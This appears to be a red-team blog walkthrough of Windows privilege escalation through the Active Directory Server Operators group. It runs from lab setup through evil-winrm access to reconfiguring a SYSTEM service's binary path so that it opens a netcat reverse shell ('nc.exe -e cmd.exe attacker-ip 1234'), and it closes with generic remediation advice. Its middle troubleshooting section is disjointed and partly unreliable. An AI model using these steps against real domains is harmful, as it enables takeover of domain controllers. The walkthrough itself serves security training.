# Server Operator ## Windows Privilege Escalation: Server Operator Group In this blog, we dive into a Server Operator exploit scenario for Windows Privilege Escalation, leveraging the commonly overlooked but powerful Server Operator group in Active Directory. This Server Operator exploit allows attackers to escalate privileges to NT AUTHORITY\SYSTEM. You'll learn step-by-step exploitation methods, lab configuration, and effective mitigation strategies. The Windows Server operating system uses two types of security principals for authentication and authorization: user accounts and computer accounts. These accounts are created to represent physical entities, such as people or computers, and can be used to assign permissions to access resources or perform specific tasks. Additionally, security groups are created to include user accounts, computer accounts, and other groups, in order to make it easier to manage permissions. The system comes pre-configured with certain built-in accounts and security groups, which are equipped with the necessary rights and permissions to carry out functions. ### Table of Content * Introduction to windows privileged groups * Server Operator group summary * Lab configuration * Vulnerability Analysis * Exploitation Method 1 * Exploitation Method 2 * Remediation * Conclusion ### Introduction to windows privileged groups In Active Directory, privileged groups are also known as security groups. Security groups are collections of user accounts that have similar security requirements. By placing user accounts into appropriate security groups, administrators can grant or deny access to network resources in bulk. Security groups can be used to grant or deny access to network resources, such as shared folders, printers, and applications. They can also be used to assign permissions to user accounts, such as the ability to create, delete, or modify files. Active Directory also provides features to help administrators manage and secure privileged groups. For example, administrators can enable Group Policy Objects (GPOs) to manage the permissions of privileged groups. GPOs can be applied to a specific group of users or to the entire domain. Additionally, administrators can use the Local Users and Groups snap-in to control the membership of privileged groups. This snap-in can be used to add or remove user accounts from privileged groups, as well as modify the permissions of those groups. For more about windows security groups feel free to visit Microsoft official documentation page: ### Server operator group summary The Server Operator group is a special user group that often has access to powerful commands and settings on a computer system. This group is typically used for managing a server or for troubleshooting system problems. Server Operators are usually responsible for monitoring the server's performance, managing system security, and providing technical support to users. They may also oversee installing software updates, creating and maintaining user accounts, and performing routine maintenance tasks. ### Lab Configuration Let's configure the lab on the server to apply theory and escalated windows server privileges. Go to server manager dashboard then click on "Tools" then select "Active Directory Users and Computers". We are going to add a user `jonny.sins` to the active directory security group for the demonstration. To do that, go to "users" select "jonny.sins" and click on "properties". That will open a new window where we need to click on the "member of" tab and then click on the "add" button to add user to any specific group. A new window will open where we need to select object types as "Groups or Built-in security principals" and select location to domain name which is "ignite.local" here. Then, we need to enter object name which is the group to that we wish to add user to. In this case, we are using the server operators' group then click ok. We can verify whether a user is added to the server operators' group by simply clicking on the members of tab. Here, we can see that we have successfully added user `jonny.sins` to server operators' group. We end up with our lab set up here and logged in as low privileged user in the server where we can see user `jonny.sins` is in the server operators' group. In this example, we have connected to the compromised host using the winrm service using the evil-winrm tool. To check group permission, we can simply use the inbuilt command `net user `, it will show what groups the current user belongs to. To reproduce the concept, please follow the commands below: ```bash evil-winrm -I 192.168.1.16 -u jonny.sins -p Ignite@987 net user jonny.sins ``` ### Vulnerability Analysis The Server Operator exploit is a commonly overlooked attack path that can provide SYSTEM-level access in Windows environments. Being a member of server operator group is not a vulnerability, but the member of this group has special privileges to make changes in the domain which could lead an attacker to escalate to system privilege. We listed services running on the server by issuing "services" command in our terminal where we can see list of services are there. Then we noted the service name "VMTools" and service binary path for lateral usage. Since we don't have any services other then windows which can be exploited we will install Team Viewer on ad and give permission to a server operator group user. On DC (Run as Administrator): powershell ``` New-Item -ItemType Directory -Path "C:\Temp" -Force ``` On DC (Run as Administrator): powershell ``` Invoke-WebRequest -Uri "https://download.teamviewer.com/download/TeamViewer_Setup.exe" -OutFile "C:\Temp\TeamViewer.exe" ``` On DC (Run as Administrator): powershell ``` Start-Process -FilePath "C:\Temp\TeamViewer.exe" -ArgumentList "/S" -Wait ``` Verify installation: powershell ``` Get-Service "TeamViewer" Start-Service -Name "TeamViewer" sc.exe stop TeamViewer sc.exe start TeamViewer ``` **If "Access Denied"**, the *Server Operators* group may be restricted (uncommon in default AD setups). #### 1. Check Why Access is Denied On the Domain Controller (DC): powershell ``` # Check effective permissions for Server Operators Get-ADGroup "Server Operators" -Properties * | Select-Object Name, Description, GroupCategory, GroupScope ``` If "Deny" ACEs (Access Control Entries) exist, the group may be restricted. On the Target Machine (Where Access is Denied): powershell ``` # Check service permissions for Server Operators sc.exe sdshow "SomeService" | findstr "Server Operators" ``` If no permissions appear, the group is blocked. #### Unrestrict Server Operators (If You Have DC Admin Rights) Since you control the DC, you can modify Group Policy to restore default permissions: **Edit Group Policy (GPO)**\ Open gpmc.msc (Group Policy Management Console) on the DC.\ Navigate to: ``` Domains > YourDomain > Group Policy Objects → Edit the Default Domain Controllers Policy (or custom GPO). ``` Go to: ``` Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment ``` Ensure "Manage auditing and security log" includes Server Operators.\ Ensure "Replace a process level token" includes Server Operators. Force GPO Update on target machines: powershell ``` gpupdate /force ``` \*Reboot DC -still Access denied to start / stop service\ so to check permissions powershell ``` PS C:\Windows\system32> sc.exe sdshow TeamViewer D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO) PS C:\Windows\system32> sc.exe qc TeamViewer | findstr "SERVICE_START_NAME" SERVICE_START_NAME : LocalSystem ``` \--- run commands as user powershell ``` Start-Process powershell -Credential (Get-Credential AD\jonny.sins) ``` #### Analysis of Your Current Permissions sc.exe sdshow TeamViewer Output\ The Security Descriptor (SDDL) shows: * SO (S-1-5-32-549 = Server Operators) has CCDCLCSWRPWPDTLOCRSDRCWDWO (full control). * SY (LocalSystem) and BA (Builtin\Administrators) also have full control. sc.exe qc TeamViewer Output\ The service runs as LocalSystem, meaning it executes with SYSTEM privileges. #### Why You're Still Getting "Access Denied" Despite Server Operators (SO) having full control over the service, the error suggests: * Group Policy (GPO) hasn't fully applied (wait 15+ mins or reboot). * TeamViewer has self-protection mechanisms (e.g., anti-tampering). * Windows Service Control Manager (SCM) restrictions (rare, but possible in hardened environments). ### Step-by-Step Instructions #### 1. On Your Kali Machine: Host PsExec for Download\ Place PSTools.zip in Kali's web root (e.g., /var/www/html/)\ Start a web server: bash ``` sudo python3 -m http.server 80 ``` #### 2. On Jonny's VM (Target Machine - Where TeamViewer is Running): Run these commands from Jonny's session (via Evil-WinRM/RDP): powershell ``` # Download PsExec from Kali Invoke-WebRequest -Uri "http://10.80.80.100/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip" # Unzip PsExec Expand-Archive -Path "$env:TEMP\PSTools.zip" -DestinationPath "$env:TEMP\" # Stop/Start TeamViewer as SYSTEM (bypassing "Access Denied") & "$env:TEMP\PsExec64.exe" -s sc.exe stop TeamViewer & "$env:TEMP\PsExec64.exe" -s sc.exe start TeamViewer ``` Run PsExec as Administrator\ If jonny has local admin rights (even temporarily), launch PowerShell as Administrator and retry: powershell ``` Start-Process -FilePath "$env:TEMP\PsExec64.exe" -ArgumentList "-accepteula -s sc.exe stop TeamViewer" -Verb RunAs ``` Then: powershell ``` upload ../../../usr/share/windows-binaries/nc.exe sc.exe config TeamViewer binPath="C:\Users\jonny.sins\Documents\nc.exe -e cmd.exe attacker-ip 1234" nc -lvp 1234 sc.exe start TeamViewer ``` ### Why This Was a Realistic Scenario: Understanding Server Operators' Default Permissions Your approach worked because Server Operators is a built-in privileged group in Active Directory with specific service management rights by default. Here's why this is realistic and how it aligns with real-world AD environments: #### Default Permissions of Server Operators The Server Operators group is designed to allow members to manage services and files on domain controllers (DCs) without granting full administrative rights. By default, this group has: **A. Service Management Rights** * Start/stop/restart services (including those running as SYSTEM). * Modify service configurations (e.g., change binary paths if permissions allow). * No default ability to create/delete services (unlike full admins). **B. File System Access** * Read/write access to shared directories (e.g., C:\Windows\SYSVOL). * Limited access to critical system files (unless explicitly granted). **C. Log Management** * Clear event logs (via Manage auditing and security log privilege). * Backup/restore files (useful for privilege escalation). **D. Group Policy Interaction** * By default, Server Operators are not in the "Domain Admins" or "Administrators" groups. * They cannot edit GPOs unless explicitly granted rights (which you did in your test). ### Remediation There are multiple factors and ways which can help to hardening the system. * **Restrict access to privileged accounts**: To begin with, restricting access to privileged accounts to a few trusted individuals is essential. Monitor privileged accounts consistently for any suspicious activity to maintain security. * **Use strong passwords**: Additionally, always use strong passwords for all privileged accounts, and change them regularly to reduce the risk of unauthorized access. * **Use two-factor authentication**: Moreover, implement two-factor authentication for every privileged account to ensure only authorized individuals can gain access. * **Monitor privileged accounts**: Likewise, continuously monitor privileged accounts for suspicious behavior, such as unauthorized access attempts or the execution of unusual commands. * **Implement role-based access controls**: Furthermore, implement role-based access controls to restrict privileged account access strictly to those who need it, limiting permissions to essential functions only. * **Regularly audit user accounts**: In the same vein, conduct regular audits of user accounts to verify that only authorized users can access privileged accounts. * **Limit remote access**: Similarly, limit remote access to privileged accounts only to necessary personnel and monitor their access consistently to detect potential threats. * **Harden systems**: Finally, harden systems by applying security patches regularly, using antivirus solutions, and enforcing least privilege policies to minimize exploitation risks. Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking! ### Conclusion Security professionals must be aware of the Server Operator exploit when performing privilege escalation assessments. We have explored the windows privileged group briefly and its special privileges which can allow an attacker to gain system privilege in any enterprise network. We have explored multiple techniques to exploit windows security group privileges. Lastly, we unpacked it with remediations to help businesses and enterprises to secure their network. I hope you have learned something new today. Happy hacking! --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://foothold.gitbook.io/blog/active-directory/server-operator.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.